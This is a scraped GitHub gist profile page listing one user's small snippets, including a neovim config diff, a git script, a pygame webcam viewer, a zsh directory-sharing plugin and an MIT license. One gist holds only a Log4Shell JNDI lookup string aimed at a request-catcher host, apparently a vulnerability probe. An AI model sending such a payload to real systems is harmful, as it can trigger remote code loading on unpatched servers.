Skip to content

Instantly share code, notes, and snippets.

View norpol's full-sized avatar

Phileas Lebada norpol

View GitHub Profile
@norpol
norpol / test.txt
Created September 14, 2023 22:17
test
hi
@norpol
norpol / asdf
Created February 14, 2023 11:36
nvim notes
diff --git a/init.vim b/init.vim
index 52a648f..27e973b 100644
--- a/init.vim
+++ b/init.vim
@@ -22,10 +22,16 @@ let s:core_conf_files = [
\ 'options.vim',
\ 'autocommands.vim',
\ 'mappings.vim',
- \ 'plugins.vim',
- \ 'themes.vim'
@norpol
norpol / hello
Created December 11, 2021 13:33
${jndi:ldap://apodsmds8f.requestcatcher.com/test}
${jndi:ldap://apodsmds8f.requestcatcher.com/test}
@norpol
norpol / merge_base.sh
Last active July 3, 2020 15:17
merge base experiments
git clone --depth=10 -b rcombs/subtitle-selection https://github.com/mpv-player/mpv
cd mpv
git fetch --depth=10 origin master:master
git merge-base --fork-point master HEAD
@norpol
norpol / camerastream.py
Created September 26, 2018 14:34 — forked from snim2/camerastream.py
Display the output of a webcam using Python and Pygame
import pygame
import pygame.camera
from pygame.locals import *
DEVICE = '/dev/video0'
SIZE = (640, 480)
FILENAME = 'capture.png'
def camstream():
pygame.init()
@norpol
norpol / debug_requests.py
Created August 21, 2018 12:02 — forked from Daenyth/debug_requests.py
Enable debug logging for python requests
import requests
import logging
import httplib
# Debug logging
httplib.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
req_log = logging.getLogger('requests.packages.urllib3')
req_log.setLevel(logging.DEBUG)
@norpol
norpol / zsh-chpwd-store-pwd-plugin.zsh
Last active June 14, 2018 11:26
Share current pwd across multiple shells
# Put this into your ~/.zshrc
# Enables chpwd, which runs a command if you cd/pushd/popd...
# Stores your latest pwd into a file and automatically
# cd's into it in case you start another shell
# check also this out https://gist.github.com/norpol/1ff30f0f614c38dccfabb4f9f62a73e6
# you might get this working in bash too https://stackoverflow.com/questions/3276247/is-there-a-hook-in-bash-to-find-out-when-the-cwd-changes
store_pwd() {
loc="$(pwd)"
target="/var/run/user/${UID}/cur_dir"
@norpol
norpol / pyhelp.sh
Created May 22, 2018 11:43
Easy snippet to print a python help-page
#!/bin/sh
if [ -z "${1:-}" ]; then
cat <<EOF
Launches Python help page of a given module
Usage: <pyhelp> <modulename>
EOF
exit
fi
python -c "import $1; help($1)"
Optional Features:
  --disable-option-checking  ignore unrecognized --enable/--with options
  --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
  --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
  --enable-load-relative  resolve load paths at run time
  --disable-werror        don't make warnings into errors even if a compiler
                          support -Werror feature [disabled by default unless
                          development version]
  --enable-pthread        obsolete, and ignored
@norpol
norpol / LICENSE
Last active April 6, 2018 09:42
openssh via. tor on debian
MIT License
Copyright (c) 2018 Phi|eas |ebada
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions: